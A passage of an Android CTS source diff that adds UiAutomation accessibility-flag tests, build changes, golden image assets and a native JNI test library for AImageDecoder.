+    public void testServiceWithDontUseAccessibilityFlag_shutsDownA11yService() throws Exception {
         turnAccessibilityOff();
         try {
-            UiAutomation uiAutomation = getInstrumentation()
-                    .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
             enableAccessibilityService();
-            uiAutomation.destroy();
-            UiAutomation suppressingUiAutomation = getInstrumentation().getUiAutomation();
-            // We verify above that the connection is broken here. Make sure we see a new one
-            // after we destroy it
+            assertTrue(UiAutomationTestA11yService.sConnectedInstance.isConnected());
+            getInstrumentation().getUiAutomation(
+                    UiAutomation.FLAG_DONT_USE_ACCESSIBILITY); // Should suppress
             waitForAccessibilityServiceToUnbind();
-            suppressingUiAutomation.destroy();
-            waitForAccessibilityServiceToStart();
         } finally {
             turnAccessibilityOff();
         }
@@ -464,7 +445,42 @@
 
     @AppModeFull
     @Test
-    public void testServiceSupressingA11yServices_a11yServiceStartsWhenFlagsChange()
+    public void testServiceSuppressingA11yServices_a11yServiceStartsWhenDestroyed()
+            throws Exception {
+        turnAccessibilityOff();
+        try {
+            UiAutomation uiAutomation = getInstrumentation()
+                    .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+            enableAccessibilityService();
+            uiAutomation.destroy();
+
+            assertA11yServiceSuppressedAndRestartsAfterUiAutomationDestroyed(0);
+        } finally {
+            turnAccessibilityOff();
+        }
+    }
+
+    @AppModeFull
+    @Test
+    public void testServiceSuppressingA11yServices_a11yServiceStartsWhenDestroyedAndFlagChanged()
+            throws Exception {
+        turnAccessibilityOff();
+        try {
+            UiAutomation uiAutomation = getInstrumentation()
+                    .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+            enableAccessibilityService();
+            uiAutomation.destroy();
+
+            assertA11yServiceSuppressedAndRestartsAfterUiAutomationDestroyed(
+                    UiAutomation.FLAG_DONT_USE_ACCESSIBILITY);
+        } finally {
+            turnAccessibilityOff();
+        }
+    }
+
+    @AppModeFull
+    @Test
+    public void testServiceSuppressingA11yServices_a11yServiceStartsWhenFlagsChange()
             throws Exception {
         turnAccessibilityOff();
         try {
@@ -483,6 +499,61 @@
         }
     }
 
+    @AppModeFull
+    @Test
+    public void testCallingDisabledAccessibilityAPIsWithDontUseAccessibilityFlag_shouldThrowException()
+            throws Exception {
+        final UiAutomation uiAutomation = getInstrumentation()
+                .getUiAutomation(UiAutomation.FLAG_DONT_USE_ACCESSIBILITY);
+        final String failMsg =
+                "Should not be able to access Accessibility APIs disabled by UiAutomation flag, "
+                        + "FLAG_DONT_USE_ACCESSIBILITY";
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK),
+                failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.findFocus(AccessibilityNodeInfo.FOCUS_INPUT), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getServiceInfo(), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.setServiceInfo(new AccessibilityServiceInfo()), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.findFocus(AccessibilityNodeInfo.FOCUS_INPUT), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getWindows(), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getWindowsOnAllDisplays(), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.clearWindowContentFrameStats(-1), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getWindowContentFrameStats(-1), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getRootInActiveWindow(), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.setOnAccessibilityEventListener(null), failMsg);
+    }
+
+    @AppModeFull
+    @Test
+    public void testCallingPublicAPIsWithDontUseAccessibilityFlag_shouldNotThrowException()
+            throws Exception {
+        final UiAutomation uiAutomation = getInstrumentation()
+                .getUiAutomation(UiAutomation.FLAG_DONT_USE_ACCESSIBILITY);
+        final KeyEvent event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
+                KeyEvent.KEYCODE_BACK, 0);
+        uiAutomation.injectInputEvent(event, true);
+        uiAutomation.syncInputTransactions();
+        uiAutomation.setRotation(UiAutomation.ROTATION_FREEZE_0);
+        uiAutomation.takeScreenshot();
+        uiAutomation.clearWindowAnimationFrameStats();
+        uiAutomation.getWindowAnimationFrameStats();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(Manifest.permission.BATTERY_STATS);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
     private void scrollListView(UiAutomation uiAutomation, final ListView listView,
             final int position) throws TimeoutException {
         getInstrumentation().runOnMainSync(new Runnable() {
@@ -541,7 +612,7 @@
     private void waitForAccessibilityServiceToStart() {
         long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
         while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
-            synchronized(UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
+            synchronized (UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
                 if (UiAutomationTestA11yService.sConnectedInstance != null) {
                     return;
                 }
@@ -559,7 +630,7 @@
     private void waitForAccessibilityServiceToUnbind() {
         long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
         while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
-            synchronized(UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
+            synchronized (UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
                 if (UiAutomationTestA11yService.sConnectedInstance == null) {
                     return;
                 }
@@ -652,6 +723,27 @@
         }
     }
 
+    // An actual version of assertThrows() was added in JUnit5
+    private static <T extends Throwable> void assertThrows(Class<T> clazz, Runnable r,
+            String message) {
+        try {
+            r.run();
+        } catch (Exception expected) {
+            assertTrue(clazz.isAssignableFrom(expected.getClass()));
+            return;
+        }
+        fail(message);
+    }
+
+    private void assertA11yServiceSuppressedAndRestartsAfterUiAutomationDestroyed(int flag) {
+        UiAutomation suppressingUiAutomation = getInstrumentation().getUiAutomation(flag);
+        // We verify above that the connection is broken here. Make sure we see a new one
+        // after we destroy it
+        waitForAccessibilityServiceToUnbind();
+        suppressingUiAutomation.destroy();
+        waitForAccessibilityServiceToStart();
+    }
+
     private int findAppWindowId(List<AccessibilityWindowInfo> windows) {
         final int windowCount = windows.size();
         for (int i = 0; i < windowCount; i++) {
diff --git a/tests/tests/uidisolation/Android.bp b/tests/tests/uidisolation/Android.bp
index 5e5593e..0dbac1a 100644
--- a/tests/tests/uidisolation/Android.bp
+++ b/tests/tests/uidisolation/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsUidIsolationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/uirendering/Android.bp b/tests/tests/uirendering/Android.bp
index c8e62b6..f77d118 100644
--- a/tests/tests/uirendering/Android.bp
+++ b/tests/tests/uirendering/Android.bp
@@ -12,13 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsUiRenderingTestCases",
     sdk_version: "test_current",
+    compile_multilib: "both",
 
     srcs: [
         "src/**/*.java",
@@ -32,7 +29,10 @@
         "mockito-target-minus-junit4",
         "androidx.test.rules",
         "kotlin-test",
+        "testng",
+        "junit-params",
     ],
+    jni_libs: ["libctsuirendering_jni"],
 
     libs: ["android.test.runner"],
 
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds2_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds2_golden.png
new file mode 100644
index 0000000..3229a94
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds2_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlphaMirrored_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlphaMirrored_golden.png
new file mode 100644
index 0000000..7417267
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlphaMirrored_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlpha_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlpha_golden.png
new file mode 100644
index 0000000..ecbd3f0
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlpha_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsColorFilter_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsColorFilter_golden.png
new file mode 100644
index 0000000..4d2cf9a
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsColorFilter_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsCrop_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsCrop_golden.png
new file mode 100644
index 0000000..d480bbc
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsCrop_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsLTRMirrored_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsLTRMirrored_golden.png
new file mode 100644
index 0000000..997707b
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsLTRMirrored_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsMirrored_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsMirrored_golden.png
new file mode 100644
index 0000000..3a05689
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsMirrored_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsPostProcess_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsPostProcess_golden.png
new file mode 100644
index 0000000..31b6dd2
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsPostProcess_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsRTLUnmirrored_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsRTLUnmirrored_golden.png
new file mode 100644
index 0000000..997707b
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsRTLUnmirrored_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds_golden.png
new file mode 100644
index 0000000..98dc6f2
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/RestorePrevious.gif b/tests/tests/uirendering/assets/RestorePrevious.gif
new file mode 100644
index 0000000..5801e4f
--- /dev/null
+++ b/tests/tests/uirendering/assets/RestorePrevious.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim.gif b/tests/tests/uirendering/assets/alphabetAnim.gif
new file mode 100644
index 0000000..d6b7d85
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_001.png b/tests/tests/uirendering/assets/alphabetAnim_001.png
new file mode 100644
index 0000000..19832ff
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_002.png b/tests/tests/uirendering/assets/alphabetAnim_002.png
new file mode 100644
index 0000000..3bd2c2b
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_003.png b/tests/tests/uirendering/assets/alphabetAnim_003.png
new file mode 100644
index 0000000..2fdd045
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_004.png b/tests/tests/uirendering/assets/alphabetAnim_004.png
new file mode 100644
index 0000000..f580283
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_005.png b/tests/tests/uirendering/assets/alphabetAnim_005.png
new file mode 100644
index 0000000..8ae5f9d
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_006.png b/tests/tests/uirendering/assets/alphabetAnim_006.png
new file mode 100644
index 0000000..43c742a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_007.png b/tests/tests/uirendering/assets/alphabetAnim_007.png
new file mode 100644
index 0000000..526eb4a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_007.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_008.png b/tests/tests/uirendering/assets/alphabetAnim_008.png
new file mode 100644
index 0000000..8638601
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_008.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_009.png b/tests/tests/uirendering/assets/alphabetAnim_009.png
new file mode 100644
index 0000000..04fe49a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_009.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_010.png b/tests/tests/uirendering/assets/alphabetAnim_010.png
new file mode 100644
index 0000000..e606bdf
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_010.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_011.png b/tests/tests/uirendering/assets/alphabetAnim_011.png
new file mode 100644
index 0000000..208eac2
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_011.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_012.png b/tests/tests/uirendering/assets/alphabetAnim_012.png
new file mode 100644
index 0000000..034b3ec
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_012.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated.gif b/tests/tests/uirendering/assets/animated.gif
new file mode 100644
index 0000000..51baf15
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_001.gif b/tests/tests/uirendering/assets/animated_001.gif
new file mode 100644
index 0000000..0aced89
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_001.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_002.gif b/tests/tests/uirendering/assets/animated_002.gif
new file mode 100644
index 0000000..fb0e56e
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_002.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_003.gif b/tests/tests/uirendering/assets/animated_003.gif
new file mode 100644
index 0000000..f35ea24
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_003.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_webp.webp b/tests/tests/uirendering/assets/animated_webp.webp
new file mode 100644
index 0000000..2d28dbf
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_webp.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG.webp b/tests/tests/uirendering/assets/blendBG.webp
new file mode 100644
index 0000000..46e4ce2
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_001.png b/tests/tests/uirendering/assets/blendBG_001.png
new file mode 100644
index 0000000..7f7a181
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_002.png b/tests/tests/uirendering/assets/blendBG_002.png
new file mode 100644
index 0000000..59b039c
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_003.png b/tests/tests/uirendering/assets/blendBG_003.png
new file mode 100644
index 0000000..76e1fe2
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_004.png b/tests/tests/uirendering/assets/blendBG_004.png
new file mode 100644
index 0000000..59b039c
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_005.png b/tests/tests/uirendering/assets/blendBG_005.png
new file mode 100644
index 0000000..c2dba9f
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_006.png b/tests/tests/uirendering/assets/blendBG_006.png
new file mode 100644
index 0000000..f0a4393
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_001.png b/tests/tests/uirendering/assets/required_001.png
new file mode 100644
index 0000000..4387398
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_002.png b/tests/tests/uirendering/assets/required_002.png
new file mode 100644
index 0000000..70efbf9
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_003.png b/tests/tests/uirendering/assets/required_003.png
new file mode 100644
index 0000000..f42081e
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_004.png b/tests/tests/uirendering/assets/required_004.png
new file mode 100644
index 0000000..0d3fd95
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_005.png b/tests/tests/uirendering/assets/required_005.png
new file mode 100644
index 0000000..110035c
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_006.png b/tests/tests/uirendering/assets/required_006.png
new file mode 100644
index 0000000..b7a7283
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_gif.gif b/tests/tests/uirendering/assets/required_gif.gif
new file mode 100644
index 0000000..91a9fd1
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_gif.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_webp.webp b/tests/tests/uirendering/assets/required_webp.webp
new file mode 100644
index 0000000..9f9a8f8
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_webp.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight.webp b/tests/tests/uirendering/assets/stoplight.webp
new file mode 100644
index 0000000..8cc1199
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight_001.png b/tests/tests/uirendering/assets/stoplight_001.png
new file mode 100644
index 0000000..a1a0b29
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight_002.png b/tests/tests/uirendering/assets/stoplight_002.png
new file mode 100644
index 0000000..9ac6017
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/sunset1.jpg b/tests/tests/uirendering/assets/sunset1.jpg
new file mode 100644
index 0000000..3b30b36
--- /dev/null
+++ b/tests/tests/uirendering/assets/sunset1.jpg
Binary files differ
diff --git a/tests/tests/uirendering/jni/Android.bp b/tests/tests/uirendering/jni/Android.bp
new file mode 100644
index 0000000..0b76e7c
--- /dev/null
+++ b/tests/tests/uirendering/jni/Android.bp
@@ -0,0 +1,36 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsuirendering_jni",
+    gtest: false,
+    srcs: [
+        "CtsUiRenderingJniOnLoad.cpp",
+        "android_uirendering_cts_AImageDecoderTest.cpp",
+        "NativeTestHelpers.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    shared_libs: [
+        "libandroid",
+        "liblog",
+        "libjnigraphics",
+        "libnativehelper",
+    ],
+    stl: "c++_static",
+    sdk_version: "current",
+}
diff --git a/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp b/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp
new file mode 100644
index 0000000..c0e10aa
--- /dev/null
+++ b/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern int register_android_uirendering_cts_AImageDecoderTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
+    JNIEnv* env = nullptr;
+    if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK)
+        return JNI_ERR;
+    if (register_android_uirendering_cts_AImageDecoderTest(env))
+        return JNI_ERR;
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/uirendering/jni/NativeTestHelpers.cpp b/tests/tests/uirendering/jni/NativeTestHelpers.cpp
new file mode 100644
index 0000000..b225ec9
--- /dev/null
+++ b/tests/tests/uirendering/jni/NativeTestHelpers.cpp
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "NativeTestHelpers.h"
+
+#include <cstdlib>
+#include <cstring>
+#include "jni.h"
+
+// This file is copied over from CtsGraphicsTestCases, so that
+// CtsUiRenderingTestCases can have the same functionality.
+void fail(JNIEnv *env, const char *format, ...) {
+  va_list args;
+
+  va_start(args, format);
+  char *msg;
+  vasprintf(&msg, format, args);
+  va_end(args);
+
+  jclass exClass;
+
+  // CtsGraphicsTestsCases has an exception to access the private constructor
+  // for AssertionError. This utility class allows creating a java.lang.AssertionError
+  // with a single String argument so it can be created by ThrowNew.
+  const char *className = "android/uirendering/cts/util/AssertionError";
+  exClass = env->FindClass(className);
+  env->ThrowNew(exClass, msg);
+  free(msg);
+}
diff --git a/tests/tests/uirendering/jni/NativeTestHelpers.h b/tests/tests/uirendering/jni/NativeTestHelpers.h
new file mode 100644
index 0000000..5538ed5
--- /dev/null
+++ b/tests/tests/uirendering/jni/NativeTestHelpers.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef ANDROID_NATIVETESTHELPERS_H
+#define ANDROID_NATIVETESTHELPERS_H
+
+#include <android/log.h>
+#include <jni.h>
+
+// This file is copied over from CtsGraphicsTestCases, so that
+// CtsUiRenderingTestCases can have the same functionality.
+#define ASSERT(condition, format, args...)                                     \
+  if (!(condition)) {                                                          \
+    fail(env, format, ##args);                                                 \
+    return;                                                                    \
+  }
+
+#define ASSERT_TRUE(a) ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+        ASSERT((a) == (b), "assert failed on (" #a " == " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+        ASSERT((a) != (b), "assert failed on (" #a " != " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+        ASSERT((a) > (b), "assert failed on (" #a " > " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GE(a, b) \
+        ASSERT((a) >= (b), "assert failed on (" #a " >= " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LT(a, b) \
+        ASSERT((a) < (b), "assert failed on (" #a " < " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LE(a, b) \
+        ASSERT((a) <= (b), "assert failed on (" #a " <= " #b ") at " __FILE__ ":%d", __LINE__)
+
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+// Raises a java exception.
+void fail(JNIEnv *env, const char *format, ...);
+
+#endif  // ANDROID_NATIVETESTHELPERS_H
+
diff --git a/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
new file mode 100644
index 0000000..4321327
--- /dev/null
+++ b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
@@ -0,0 +1,320 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AImageDecoderTest"
+
+#include <jni.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <android/bitmap.h>
+#include <android/imagedecoder.h>
+#include <android/rect.h>
+
+#include "NativeTestHelpers.h"
+
+#include <cstdlib>
+#include <cstring>
+#include <initializer_list>
+
+#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
+
+static void testNullDecoder(JNIEnv* env, jobject) {
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_advanceFrame(nullptr));
+
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_rewind(nullptr));
+
+    AImageDecoder_setInternallyHandleDisposePrevious(nullptr, true);
+    AImageDecoder_setInternallyHandleDisposePrevious(nullptr, false);
+#pragma clang diagnostic pop
+}
+
+static void testToString(JNIEnv* env, jobject) {
+    struct {
+        int resultCode;
+        const char* string;
+    } map[] = {
+        { ANDROID_IMAGE_DECODER_SUCCESS,            "ANDROID_IMAGE_DECODER_SUCCESS" },
+        { ANDROID_IMAGE_DECODER_INCOMPLETE,         "ANDROID_IMAGE_DECODER_INCOMPLETE" },
+        { ANDROID_IMAGE_DECODER_ERROR,              "ANDROID_IMAGE_DECODER_ERROR" },
+        { ANDROID_IMAGE_DECODER_INVALID_CONVERSION, "ANDROID_IMAGE_DECODER_INVALID_CONVERSION" },
+        { ANDROID_IMAGE_DECODER_INVALID_SCALE,      "ANDROID_IMAGE_DECODER_INVALID_SCALE" },
+        { ANDROID_IMAGE_DECODER_BAD_PARAMETER,      "ANDROID_IMAGE_DECODER_BAD_PARAMETER" },
+        { ANDROID_IMAGE_DECODER_INVALID_INPUT,      "ANDROID_IMAGE_DECODER_INVALID_INPUT" },
+        { ANDROID_IMAGE_DECODER_SEEK_ERROR,         "ANDROID_IMAGE_DECODER_SEEK_ERROR" },
+        { ANDROID_IMAGE_DECODER_INTERNAL_ERROR,     "ANDROID_IMAGE_DECODER_INTERNAL_ERROR" },
